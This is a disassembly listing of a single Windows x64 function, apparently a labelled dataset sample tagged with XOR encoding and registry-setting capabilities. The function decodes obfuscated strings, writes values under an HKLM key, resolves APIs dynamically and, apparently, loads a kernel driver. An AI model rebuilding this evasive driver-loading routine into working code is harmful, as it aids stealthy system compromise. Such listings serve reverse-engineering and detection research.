Function at 0x14004e290
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc8]
sub rsp, 0x1a0
mov rax, qword [0x140093028]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rsi, rcx
xor r12d, r12d
lea rcx, [rbp]
call fcn.140044df0
nop
movaps xmm0, xmmword [0x140085550]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [0x140085560]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [0x140085570]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [0x140085580]
movaps xmmword [rbp - 0x50], xmm1
mov eax, dword [0x140085590]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140085594]
mov word [rbp - 0x3c], ax
mov r8d, r12d
movabs r13, 0x97b425ed097b425f
mov r15w, 0x32
lea ebx, [r12 + 1]
mov rax, r13
mul r8
shr rdx, 5
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, r15w
xor word [rbp + r8*2 - 0x80], ax
add r8, rbx
cmp r8, 0x23
jb 0x14004e32e
lea rax, [rbp - 0x80]
or rdi, 0xffffffffffffffff
mov rcx, rdi
inc rcx
cmp word [rax + rcx*2], r12w
jne 0x14004e363
movabs r14, 0x7ffffffffffffffe
mov rax, r14
mov rdx, qword [rbp + 0x10]
sub rax, rdx
cmp rax, rcx
jb 0x14004e816
lea rax, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rax, qword [rbp]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x80]
lea rcx, [rbp + 0x60]
call fcn.14004c0c4
nop
movsd xmm0, qword [str.n_f_vi6]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x1400855c8]
mov word [rsp + 0x48], ax
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, r15w
xor word [rsp + r8*2 + 0x40], ax
add r8, rbx
cmp r8, 5
jb 0x14004e3d2
lea rax, [rsp + 0x40]
mov rcx, rdi
inc rcx
cmp word [rax + rcx*2], r12w
jne 0x14004e404
mov rdx, qword [rsi + 0x10]
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x14004e81c
cmp qword [rsi + 0x18], 8
jb 0x14004e42b
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14004c0c4
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 8
cmovae rdx, qword [rbp + 0x60]
lea r8, [rbp - 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14004e501
mov eax, dword [rbp + 0x30]
lea r10d, [rax + rax]
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae r9, qword [rbp + 0x20]
movups xmm0, xmmword [0x140085598]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x1400855a8]
mov dword [rsp + 0x60], eax
cmp word [0x1400855aa], r12w
je 0x14004e4d2
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, r15w
xor word [rsp + r8*2 + 0x50], ax
add r8, rbx
cmp r8, 0xa
jb 0x14004e4a8
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r9
mov r9d, 2
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
je 0x14004e553
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, r12b
lea rcx, [rbp + 0x20]
call fcn.1400494ec
nop
lea rcx, [rbp + 0x60]
call fcn.1400494ec
nop
lea rcx, [rbp]
call fcn.1400494ec
mov al, bl
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140069020
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsd xmm0, qword [str.fJDP6]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x1400855b8]
mov word [rsp + 0x48], ax
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, r15w
xor word [rsp + r8*2 + 0x40], ax
add r8, rbx
cmp r8, 5
jb 0x14004e570
mov r9d, 4
mov dword [rsp + 0x28], r9d
lea rax, [0x1400855ac]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp - 0x10]
test eax, eax
jne 0x14004e4fb
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsd xmm0, qword [0x1400850c0]
movsd qword [rsp + 0x40], xmm0
movzx eax, word [0x1400850c8]
mov word [rsp + 0x48], ax
cmp byte [0x1400850c9], r12b
je 0x14004e620
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x36
mov al, r8b
sub al, cl
add al, r15b
xor byte [rsp + r8 + 0x40], al
add r8, rbx
cmp r8, 0xa
jb 0x14004e5fa
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x14004e501
movups xmm0, xmmword [str._GXtR_MJNkNTHV___D]
movups xmmword [rsp + 0x50], xmm0
movzx ecx, word [0x140085540]
mov word [rsp + 0x60], cx
mov cl, byte [0x140085542]
mov byte [rsp + 0x62], cl
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x36
mov al, r8b
sub al, cl
add al, r15b
xor byte [rsp + r8 + 0x50], al
add r8, rbx
cmp r8, 0x13
jb 0x14004e65c
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
movsd xmm0, qword [str.GxZWSKSMYO_]
movsd qword [rsp + 0x68], xmm0
mov ecx, dword [0x140085528]
mov dword [rsp + 0x70], ecx
mov cl, byte [0x14008552c]
mov byte [rsp + 0x74], cl
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x36
mov al, r8b
sub al, cl
add al, 0x32
xor byte [rsp + r8 + 0x68], al
add r8, rbx
cmp r8, 0xd
jb 0x14004e6b8
lea rdx, [rsp + 0x68]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r9, [rbp - 8]
xor r8d, r8d
mov dl, bl
lea ecx, [r8 + 0xa]
call r15
test eax, eax
js 0x14004e501
movaps xmm0, xmmword [str.naQR_DLKCgq_W__]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [0x1400854c0]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [0x1400854d0]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [0x1400854e0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [0x1400854f0]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [0x140085500]
movaps xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [0x140085510]
movsd qword [rbp - 0x20], xmm0
movzx eax, word [0x140085518]
mov word [rbp - 0x18], ax
mov r8, r12
mov rax, r13
mul r8
shr rdx, 5
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [rbp + r8*2 - 0x80], ax
add r8, rbx
cmp r8, 0x35
jb 0x14004e763
lea rax, [rbp - 0x80]
inc rdi
cmp word [rax + rdi*2], r12w
jne 0x14004e791
mov rcx, qword [rbp + 0x10]
sub r14, rcx
cmp r14, rdi
jb 0x14004e810
lea rax, [rbp]
cmp qword [rbp + 0x18], 8
cmovae rax, qword [rbp]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.14004c0c4
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 8
cmovae rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x80]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x80]
call rsi
cmp eax, 0xc000010e
je 0x14004e802
shr eax, 0x1f
xor bl, al
lea rcx, [rbp + 0x40]
call fcn.1400494ec
jmp 0x14004e504
call fcn.140044d30
nop
call fcn.140044d30
nop
call fcn.140044d30
int3